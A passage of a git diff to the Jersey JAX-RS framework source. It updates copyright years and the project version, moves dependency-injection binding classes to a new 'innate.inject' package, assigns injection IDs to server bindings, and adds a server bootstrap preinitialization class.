 
 package org.glassfish.jersey.internal;
 
+import jakarta.ws.rs.RuntimeType;
 import jakarta.ws.rs.SeBootstrap;
 import jakarta.ws.rs.WebApplicationException;
 import jakarta.ws.rs.core.Application;
@@ -41,7 +42,7 @@
 public class TestRuntimeDelegate extends AbstractRuntimeDelegate {
 
     public TestRuntimeDelegate() {
-        super(new MessagingBinders.HeaderDelegateProviders().getHeaderDelegateProviders());
+        super(new MessagingBinders.HeaderDelegateProviders(RuntimeType.CLIENT).getHeaderDelegateProviders());
     }
 
     @Override
diff --git a/core-common/src/test/java/org/glassfish/jersey/internal/config/DisabledProvidersTest.java b/core-common/src/test/java/org/glassfish/jersey/internal/config/DisabledProvidersTest.java
index c514c0b..e5fb3bb 100644
--- a/core-common/src/test/java/org/glassfish/jersey/internal/config/DisabledProvidersTest.java
+++ b/core-common/src/test/java/org/glassfish/jersey/internal/config/DisabledProvidersTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2019, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2019, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -17,7 +17,7 @@
 package org.glassfish.jersey.internal.config;
 
 import org.glassfish.jersey.CommonProperties;
-import org.glassfish.jersey.internal.inject.ClassBinding;
+import org.glassfish.jersey.innate.inject.ClassBinding;
 import org.glassfish.jersey.message.internal.MessagingBinders;
 import org.glassfish.jersey.message.internal.RenderedImageProvider;
 import org.glassfish.jersey.message.internal.SourceProvider;
diff --git a/core-common/src/test/java/org/glassfish/jersey/internal/util/JerseyPublisherTest.java b/core-common/src/test/java/org/glassfish/jersey/internal/util/JerseyPublisherTest.java
index e951692..6c80383 100644
--- a/core-common/src/test/java/org/glassfish/jersey/internal/util/JerseyPublisherTest.java
+++ b/core-common/src/test/java/org/glassfish/jersey/internal/util/JerseyPublisherTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -21,12 +21,11 @@
 import java.util.concurrent.ConcurrentLinkedQueue;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.Executors;
+import java.util.concurrent.Flow;
 import java.util.concurrent.ScheduledExecutorService;
 import java.util.concurrent.TimeUnit;
 import java.util.concurrent.atomic.AtomicInteger;
 
-import org.glassfish.jersey.internal.jsr166.Flow;
-
 import org.junit.jupiter.api.Test;
 
 import static org.junit.jupiter.api.Assertions.assertEquals;
diff --git a/core-server/pom.xml b/core-server/pom.xml
index af9617f..2b24237 100644
--- a/core-server/pom.xml
+++ b/core-server/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.core</groupId>
@@ -104,6 +104,7 @@
                             javax.xml.transform.sax;resolution:=optional,
                             javax.xml.transform.stream;resolution:=optional,
                             jakarta.validation.*;resolution:=optional;version="[3,4)",
+                            ${jakarta.rest.osgi.version},
                             *
                         </Import-Package>
                     </instructions>
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/ApplicationConfigurator.java b/core-server/src/main/java/org/glassfish/jersey/server/ApplicationConfigurator.java
index 08e1460..f827fcd 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/ApplicationConfigurator.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/ApplicationConfigurator.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,9 +23,10 @@
 
 import jakarta.inject.Singleton;
 
+import org.glassfish.jersey.innate.inject.Bindings;
+import org.glassfish.jersey.innate.inject.InjectionIds;
 import org.glassfish.jersey.internal.BootstrapBag;
 import org.glassfish.jersey.internal.BootstrapConfigurator;
-import org.glassfish.jersey.internal.inject.Bindings;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.util.collection.Value;
 import org.glassfish.jersey.server.spi.ComponentProvider;
@@ -81,7 +82,8 @@
         }
 
         serverBag.setApplication(resultApplication);
-        injectionManager.register(Bindings.service(resultApplication).to(Application.class));
+        injectionManager.register(Bindings.service(resultApplication).to(Application.class)
+                .id(InjectionIds.SERVER_APPLICATION.id()));
     }
 
     private static Application createApplication(
@@ -105,7 +107,7 @@
             }
             if (!appClassBound) {
                 if (applicationClass.isAnnotationPresent(Singleton.class)) {
-                    injectionManager.register(Bindings.serviceAsContract(applicationClass).in(Singleton.class));
+                    injectionManager.register(Bindings.serviceAsContract(applicationClass).in(Singleton.class).id(0));
                     appClassBound = true;
                 }
             }
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/ApplicationHandler.java b/core-server/src/main/java/org/glassfish/jersey/server/ApplicationHandler.java
index 730d1ce..d976cca 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/ApplicationHandler.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/ApplicationHandler.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2011, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved.
  * Copyright (c) 2018 Payara Foundation and/or its affiliates.
  *
  * This program and the accompanying materials are made available under the
@@ -46,6 +46,10 @@
 import jakarta.ws.rs.ext.MessageBodyWriter;
 
 import org.glassfish.jersey.CommonProperties;
+import org.glassfish.jersey.innate.inject.Bindings;
+import org.glassfish.jersey.innate.inject.CompositeBinder;
+import org.glassfish.jersey.innate.inject.InjectionIds;
+import org.glassfish.jersey.innate.inject.InstanceBinding;
 import org.glassfish.jersey.internal.AutoDiscoverableConfigurator;
 import org.glassfish.jersey.internal.BootstrapBag;
 import org.glassfish.jersey.internal.BootstrapConfigurator;
@@ -57,11 +61,9 @@
 import org.glassfish.jersey.internal.JaxrsProviders;
 import org.glassfish.jersey.internal.Version;
 import org.glassfish.jersey.internal.inject.Binder;
-import org.glassfish.jersey.internal.inject.Bindings;
-import org.glassfish.jersey.internal.inject.CompositeBinder;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.inject.Injections;
-import org.glassfish.jersey.internal.inject.InstanceBinding;
+import org.glassfish.jersey.internal.inject.ParamConverterConfigurator;
 import org.glassfish.jersey.internal.inject.Providers;
 import org.glassfish.jersey.message.MessageBodyWorkers;
 import org.glassfish.jersey.message.internal.MessageBodyFactory;
@@ -77,7 +79,6 @@
 import org.glassfish.jersey.server.internal.JerseyRequestTimeoutHandler;
 import org.glassfish.jersey.server.internal.LocalizationMessages;
 import org.glassfish.jersey.server.internal.ProcessingProviders;
-import org.glassfish.jersey.internal.inject.ParamConverterConfigurator;
 import org.glassfish.jersey.server.internal.inject.ParamExtractorConfigurator;
 import org.glassfish.jersey.server.internal.inject.ValueParamProviderConfigurator;
 import org.glassfish.jersey.server.internal.monitoring.ApplicationEventImpl;
@@ -185,12 +186,14 @@
             // TODO: Do we really need these three bindings in DI provider? What JAX-RS specification says?
             InstanceBinding<ApplicationHandler> handlerBinding =
                     Bindings.service(ApplicationHandler.this)
-                            .to(ApplicationHandler.class);
+                            .to(ApplicationHandler.class)
+                            .id(InjectionIds.SERVER_APPLICATION_HANDLER.id());
 
             InstanceBinding<ResourceConfig> configBinding =
                     Bindings.service(serverBag.getRuntimeConfig())
                             .to(Configuration.class)
-                            .to(ServerConfig.class);
+                            .to(ServerConfig.class)
+                            .id(InjectionIds.COMMON_CONFIGURATION.id());
 
             injectionManager.register(handlerBinding);
             injectionManager.register(configBinding);
@@ -273,6 +276,10 @@
         initialize(new ApplicationConfigurator(application), Injections.createInjectionManager(parentManager), customBinder);
     }
 
+    /* package */ ApplicationHandler(InjectionManager injectionManager) {
+        initialize(new ApplicationConfigurator(new Application()), injectionManager, null);
+    }
+
     private void initialize(ApplicationConfigurator applicationConfigurator, InjectionManager injectionManager,
             Binder customBinder) {
         LOGGER.config(LocalizationMessages.INIT_MSG(Version.getBuildId()));
@@ -283,19 +290,19 @@
         ServerBootstrapBag bootstrapBag = new ServerBootstrapBag();
         bootstrapBag.setManagedObjectsFinalizer(managedObjectsFinalizer);
         List<BootstrapConfigurator> bootstrapConfigurators = Arrays.asList(
-                new RequestProcessingConfigurator(),
+                new RequestProcessingConfigurator(), // 3100-3110
                 new RequestScope.RequestScopeConfigurator(),
-                new ParamConverterConfigurator(),
-                new ParamExtractorConfigurator(),
-                new ValueParamProviderConfigurator(),
-                new JerseyResourceContextConfigurator(),
+                new ParamConverterConfigurator(), // 3010
+                new ParamExtractorConfigurator(), // 3111
+                new ValueParamProviderConfigurator(), // 3120-3150
+                new JerseyResourceContextConfigurator(), // 3112
                 new ComponentProviderConfigurator(),
-                new JaxrsProviders.ProvidersConfigurator(),
-                applicationConfigurator,
-                new RuntimeConfigConfigurator(),
-                new ContextResolverFactory.ContextResolversConfigurator(),
-                new MessageBodyFactory.MessageBodyWorkersConfigurator(),
-                new ExceptionMapperFactory.ExceptionMappersConfigurator(),
+                new JaxrsProviders.ProvidersConfigurator(), // 3016
+                applicationConfigurator, // 3190 - 3199
+                new RuntimeConfigConfigurator(), // 3180 - 3181
+                new ContextResolverFactory.ContextResolversConfigurator(), // 3014
+                new MessageBodyFactory.MessageBodyWorkersConfigurator(), // 3182
+                new ExceptionMapperFactory.ExceptionMappersConfigurator(), // 3015
                 new ResourceMethodInvokerConfigurator(),
                 new ProcessingProvidersConfigurator(),
                 new ContainerProviderConfigurator(RuntimeType.SERVER),
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/ContainerProviderConfigurator.java b/core-server/src/main/java/org/glassfish/jersey/server/ContainerProviderConfigurator.java
index cc2d670..6045c18 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/ContainerProviderConfigurator.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/ContainerProviderConfigurator.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -19,9 +19,9 @@
 import jakarta.ws.rs.RuntimeType;
 import jakarta.ws.rs.core.Configuration;
 
+import org.glassfish.jersey.innate.inject.Bindings;
 import org.glassfish.jersey.internal.AbstractServiceFinderConfigurator;
 import org.glassfish.jersey.internal.BootstrapBag;
-import org.glassfish.jersey.internal.inject.Bindings;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.spi.AutoDiscoverable;
 import org.glassfish.jersey.server.spi.ContainerProvider;
@@ -47,6 +47,6 @@
     public void init(InjectionManager injectionManager, BootstrapBag bootstrapBag) {
         Configuration configuration = bootstrapBag.getConfiguration();
         loadImplementations(configuration.getProperties())
-                .forEach(implClass -> injectionManager.register(Bindings.service(implClass).to(AutoDiscoverable.class)));
+                .forEach(implClass -> injectionManager.register(Bindings.service(implClass).to(AutoDiscoverable.class).id(0)));
     }
 }
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/ContainerResponse.java b/core-server/src/main/java/org/glassfish/jersey/server/ContainerResponse.java
index a44e60e..8ac8343 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/ContainerResponse.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/ContainerResponse.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -30,6 +30,7 @@
 import java.util.logging.Logger;
 import java.util.Map;
 import java.util.Set;
+import java.util.function.Predicate;
 
 import jakarta.ws.rs.container.ContainerResponseContext;
 import jakarta.ws.rs.core.Configuration;
@@ -161,6 +162,16 @@
         return messageContext.getHeaderString(name);
     }
 
+//    @Override
+    public boolean containsHeaderString(String name, String valueSeparatorRegex, Predicate<String> valuePredicate) {
+        return messageContext.containsHeaderString(name, valueSeparatorRegex, valuePredicate);
+    }
+
+//    @Override
+    public boolean containsHeaderString(String name, Predicate<String> valuePredicate) {
+        return messageContext.containsHeaderString(name, valuePredicate);
+    }
+
     @Override
     public MultivaluedMap<String, Object> getHeaders() {
         return messageContext.getHeaders();
@@ -242,7 +253,7 @@
     }
 
     /**
-     * Set a new message message entity.
+     * Set a new message entity.
      *
      * @param entity entity object.
      * @see jakarta.ws.rs.ext.MessageBodyWriter
@@ -252,7 +263,7 @@
     }
 
     /**
-     * Set a new message message entity.
+     * Set a new message entity.
      *
      * @param entity      entity object.
      * @param annotations annotations attached to the entity.
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/ExternalRequestScopeConfigurator.java b/core-server/src/main/java/org/glassfish/jersey/server/ExternalRequestScopeConfigurator.java
index d3d67d2..1175c6a 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/ExternalRequestScopeConfigurator.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/ExternalRequestScopeConfigurator.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2018 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -20,10 +20,10 @@
 import java.util.logging.Level;
 import java.util.logging.Logger;
 
+import org.glassfish.jersey.innate.inject.InternalBinder;
 import org.glassfish.jersey.internal.BootstrapBag;
 import org.glassfish.jersey.internal.BootstrapConfigurator;
 import org.glassfish.jersey.internal.ServiceFinder;
-import org.glassfish.jersey.internal.inject.AbstractBinder;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.server.internal.LocalizationMessages;
 import org.glassfish.jersey.server.spi.ComponentProvider;
@@ -68,7 +68,7 @@
         }
     }
 
-    private static class NoopExternalRequestScopeBinder extends AbstractBinder {
+    private static class NoopExternalRequestScopeBinder extends InternalBinder {
 
         @Override
         protected void configure() {
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/JerseyResourceContextConfigurator.java b/core-server/src/main/java/org/glassfish/jersey/server/JerseyResourceContextConfigurator.java
index 942237b..a1851ea 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/JerseyResourceContextConfigurator.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/JerseyResourceContextConfigurator.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -21,13 +21,13 @@
 
 import jakarta.ws.rs.container.ResourceContext;
 
+import org.glassfish.jersey.innate.inject.Bindings;
+import org.glassfish.jersey.innate.inject.InjectionIds;
 import org.glassfish.jersey.internal.BootstrapBag;
 import org.glassfish.jersey.internal.BootstrapConfigurator;
 import org.glassfish.jersey.internal.inject.Binding;
-import org.glassfish.jersey.internal.inject.Bindings;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.inject.Injections;
-import org.glassfish.jersey.internal.inject.InstanceBinding;
 import org.glassfish.jersey.server.internal.JerseyResourceContext;
 
 /**
@@ -47,10 +47,11 @@
 
         // Initialize and register Resource Context
         JerseyResourceContext resourceContext = new JerseyResourceContext(getOrCreateInstance, injectInstance, registerBinding);
-        InstanceBinding<JerseyResourceContext> resourceContextBinding =
+        Binding<JerseyResourceContext, ?> resourceContextBinding =
                 Bindings.service(resourceContext)
                         .to(ResourceContext.class)
-                        .to(ExtendedResourceContext.class);
+                        .to(ExtendedResourceContext.class)
+                        .id(InjectionIds.SERVER_RESOURCE_CONTEXT.id());
         injectionManager.register(resourceContextBinding);
         serverBag.setResourceContext(resourceContext);
     }
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/ModelProcessorConfigurator.java b/core-server/src/main/java/org/glassfish/jersey/server/ModelProcessorConfigurator.java
index 50ba5da..5b2854c 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/ModelProcessorConfigurator.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/ModelProcessorConfigurator.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2018 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,10 +22,11 @@
 import java.util.stream.Collectors;
 import java.util.stream.Stream;
 
+import org.glassfish.jersey.innate.inject.Bindings;
+import org.glassfish.jersey.innate.inject.InjectionIds;
 import org.glassfish.jersey.internal.BootstrapBag;
 import org.glassfish.jersey.internal.BootstrapConfigurator;
 import org.glassfish.jersey.internal.inject.Binding;
-import org.glassfish.jersey.internal.inject.Bindings;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.model.ContractProvider;
 import org.glassfish.jersey.model.internal.ComponentBag;
@@ -54,7 +55,8 @@
         ComponentBag componentBag = runtimeConfig.getComponentBag();
 
         OptionsMethodProcessor optionsMethodProcessor = new OptionsMethodProcessor();
-        injectionManager.register(Bindings.service(optionsMethodProcessor).to(ModelProcessor.class));
+        injectionManager.register(Bindings.service(optionsMethodProcessor).to(ModelProcessor.class)
+                        .id(InjectionIds.SERVER_OPTIONS_METHOD_PROCESSOR.id()));
 
         // Get all model processors, registered as an instance or class
         List<ModelProcessor> modelProcessors =
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/ResourceModelConfigurator.java b/core-server/src/main/java/org/glassfish/jersey/server/ResourceModelConfigurator.java
index e6f5006..8a94548 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/ResourceModelConfigurator.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/ResourceModelConfigurator.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -27,10 +27,10 @@
 
 import jakarta.ws.rs.RuntimeType;
 
+import org.glassfish.jersey.innate.inject.ProviderBinder;
 import org.glassfish.jersey.internal.BootstrapBag;
 import org.glassfish.jersey.internal.BootstrapConfigurator;
 import org.glassfish.jersey.internal.inject.InjectionManager;
-import org.glassfish.jersey.internal.inject.ProviderBinder;
 import org.glassfish.jersey.internal.inject.Providers;
 import org.glassfish.jersey.model.ContractProvider;
 import org.glassfish.jersey.model.internal.ComponentBag;
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/ServerBinder.java b/core-server/src/main/java/org/glassfish/jersey/server/ServerBinder.java
index 4cf65c8..655bb11 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/ServerBinder.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/ServerBinder.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,7 +22,7 @@
 
 import jakarta.inject.Singleton;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.innate.inject.InternalBinder;
 import org.glassfish.jersey.server.internal.JsonWithPaddingInterceptor;
 import org.glassfish.jersey.server.internal.MappableExceptionWrapperInterceptor;
 import org.glassfish.jersey.server.internal.monitoring.MonitoringContainerListener;
@@ -33,7 +33,7 @@
  * @author Marek Potociar
  * @author Libor Kramolis
  */
-class ServerBinder extends AbstractBinder {
+class ServerBinder extends InternalBinder {
 
     @Override
     protected void configure() {
@@ -41,12 +41,12 @@
                 new MonitoringContainerListener.Binder());
 
         //ChunkedResponseWriter
-        bind(ChunkedResponseWriter.class).to(MessageBodyWriter.class).in(Singleton.class);
+        bind(ChunkedResponseWriter.class).to(MessageBodyWriter.class).in(Singleton.class).id(0);
 
         // JSONP
-        bind(JsonWithPaddingInterceptor.class).to(WriterInterceptor.class).in(Singleton.class);
+        bind(JsonWithPaddingInterceptor.class).to(WriterInterceptor.class).in(Singleton.class).id(0);
 
         //Default exception mapper
-        bind(DefaultExceptionMapper.class).to(ExceptionMapper.class).in(Singleton.class);
+        bind(DefaultExceptionMapper.class).to(ExceptionMapper.class).in(Singleton.class).id(0);
     }
 }
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/ServerBootstrapPreinitialization.java b/core-server/src/main/java/org/glassfish/jersey/server/ServerBootstrapPreinitialization.java
new file mode 100644
index 0000000..da3dc1e
--- /dev/null
+++ b/core-server/src/main/java/org/glassfish/jersey/server/ServerBootstrapPreinitialization.java
@@ -0,0 +1,41 @@
+/*
+ * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.server;
+
+import org.glassfish.jersey.innate.BootstrapPreinitialization;
+import org.glassfish.jersey.innate.inject.Bindings;
+import org.glassfish.jersey.internal.inject.InjectionManager;
+import org.glassfish.jersey.process.internal.RequestScoped;
+import org.glassfish.jersey.server.wadl.WadlFeature;
+import org.glassfish.jersey.server.wadl.processor.WadlModelProcessor;
+
+import jakarta.ws.rs.RuntimeType;
+
+public class ServerBootstrapPreinitialization implements BootstrapPreinitialization {
+
+    @Override
+    public void preregister(RuntimeType runtimeType, InjectionManager injectionManager) {
+        if (runtimeType == RuntimeType.SERVER) {
+            new ApplicationHandler(injectionManager);
+            if (new WadlFeature().configure(BootstrapPreinitialization.featureContextInstance())) {
+                injectionManager.register(
+                        Bindings.serviceAsContract(WadlModelProcessor.OptionsHandler.class).in(RequestScoped.class).id(0)
+                );
+            }
+        }
+    }
+}
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/ServerExecutorProvidersConfigurator.java b/core-server/src/main/java/org/glassfish/jersey/server/ServerExecutorProvidersConfigurator.java
index d620958..79d269b 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/ServerExecutorProvidersConfigurator.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/ServerExecutorProvidersConfigurator.java
@@ -16,10 +16,10 @@
 
 package org.glassfish.jersey.server;
 
+import org.glassfish.jersey.innate.inject.Bindings;
 import org.glassfish.jersey.internal.BootstrapBag;
-import org.glassfish.jersey.internal.inject.Bindings;
+import org.glassfish.jersey.internal.inject.Binding;
 import org.glassfish.jersey.internal.inject.InjectionManager;
-import org.glassfish.jersey.internal.inject.InstanceBinding;
 import org.glassfish.jersey.model.internal.ComponentBag;
 import org.glassfish.jersey.process.internal.AbstractExecutorProvidersConfigurator;
 import org.glassfish.jersey.spi.ExecutorServiceProvider;
@@ -28,6 +28,7 @@
 import org.glassfish.jersey.spi.ThreadPoolExecutorProvider;
 
 import jakarta.ws.rs.core.Configuration;
+import jakarta.ws.rs.RuntimeType;
 
 /**
  * Configurator which initializes and register {@link org.glassfish.jersey.spi.ExecutorServiceProvider} and
@@ -45,20 +46,20 @@
 
         // TODO: Do we need to register DEFAULT Executor and ScheduledExecutor to InjectionManager?
         ScheduledExecutorServiceProvider defaultScheduledExecutorProvider = new DefaultBackgroundSchedulerProvider(runtimeConfig);
-        InstanceBinding<ScheduledExecutorServiceProvider> schedulerBinding = Bindings
+        Binding<ScheduledExecutorServiceProvider, ?> schedulerBinding = Bindings
                 .service(defaultScheduledExecutorProvider)
                 .to(ScheduledExecutorServiceProvider.class)
                 .qualifiedBy(BackgroundSchedulerLiteral.INSTANCE);
         injectionManager.register(schedulerBinding);
 
         ExecutorServiceProvider defaultAsyncExecutorProvider = new DefaultManagedAsyncExecutorProvider();
-        InstanceBinding<ExecutorServiceProvider> executorBinding = Bindings
+        Binding<ExecutorServiceProvider, ?> executorBinding = Bindings
                 .service(defaultAsyncExecutorProvider)
                 .to(ExecutorServiceProvider.class);
         injectionManager.register(executorBinding);
 
         registerExecutors(injectionManager, componentBag, defaultAsyncExecutorProvider,
-                defaultScheduledExecutorProvider, serverBag.getManagedObjectsFinalizer());
+                defaultScheduledExecutorProvider, serverBag.getManagedObjectsFinalizer(), RuntimeType.SERVER);
     }
 
     /**
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/internal/JerseyResourceContext.java b/core-server/src/main/java/org/glassfish/jersey/server/internal/JerseyResourceContext.java
index 4e95a47..4917f05 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/internal/JerseyResourceContext.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/internal/JerseyResourceContext.java
@@ -33,9 +33,8 @@
 import jakarta.inject.Scope;
 import jakarta.inject.Singleton;
 
+import org.glassfish.jersey.innate.inject.Bindings;
 import org.glassfish.jersey.internal.inject.Binding;
-import org.glassfish.jersey.internal.inject.Bindings;
-import org.glassfish.jersey.internal.inject.ClassBinding;
 import org.glassfish.jersey.internal.inject.CustomAnnotationLiteral;
 import org.glassfish.jersey.internal.inject.Providers;
 import org.glassfish.jersey.internal.util.ReflectionHelper;
@@ -211,7 +210,7 @@
      *                      wil be bound as a contract provider too.
      */
     public <T> void unsafeBindResource(Class<T> resourceClass, ContractProvider providerModel) {
-        ClassBinding<T> descriptor;
+        Binding<T, ?> descriptor;
         if (providerModel != null) {
             Class<? extends Annotation> scope = providerModel.getScope();
             descriptor = Bindings.serviceAsContract(resourceClass).in(scope);
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/internal/MappableExceptionWrapperInterceptor.java b/core-server/src/main/java/org/glassfish/jersey/server/internal/MappableExceptionWrapperInterceptor.java
index 13d5e3f..346c9c5 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/internal/MappableExceptionWrapperInterceptor.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/internal/MappableExceptionWrapperInterceptor.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -28,7 +28,7 @@
 import jakarta.annotation.Priority;
 import jakarta.inject.Singleton;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.innate.inject.InternalBinder;
 import org.glassfish.jersey.message.internal.MessageBodyProviderNotFoundException;
 import org.glassfish.jersey.server.internal.process.MappableException;
 
@@ -74,7 +74,7 @@
      * (used on the client side).
      *
      */
-    public static class Binder extends AbstractBinder {
+    public static class Binder extends InternalBinder {
 
         @Override
         protected void configure() {
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/internal/RuntimeDelegateImpl.java b/core-server/src/main/java/org/glassfish/jersey/server/internal/RuntimeDelegateImpl.java
index bfaad0e..0b7abc2 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/internal/RuntimeDelegateImpl.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/internal/RuntimeDelegateImpl.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2011, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -19,6 +19,7 @@
 import java.util.concurrent.CompletableFuture;
 import java.util.concurrent.CompletionStage;
 
+import jakarta.ws.rs.RuntimeType;
 import jakarta.ws.rs.SeBootstrap;
 import jakarta.ws.rs.core.Application;
 
@@ -45,7 +46,7 @@
 public class RuntimeDelegateImpl extends AbstractRuntimeDelegate {
 
     public RuntimeDelegateImpl() {
-        super(new MessagingBinders.HeaderDelegateProviders().getHeaderDelegateProviders());
+        super(new MessagingBinders.HeaderDelegateProviders(RuntimeType.SERVER).getHeaderDelegateProviders());
     }
 
     @Override
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/internal/inject/BeanParamValueParamProvider.java b/core-server/src/main/java/org/glassfish/jersey/server/internal/inject/BeanParamValueParamProvider.java
index 117ce26..a27a1d5 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/internal/inject/BeanParamValueParamProvider.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/internal/inject/BeanParamValueParamProvider.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
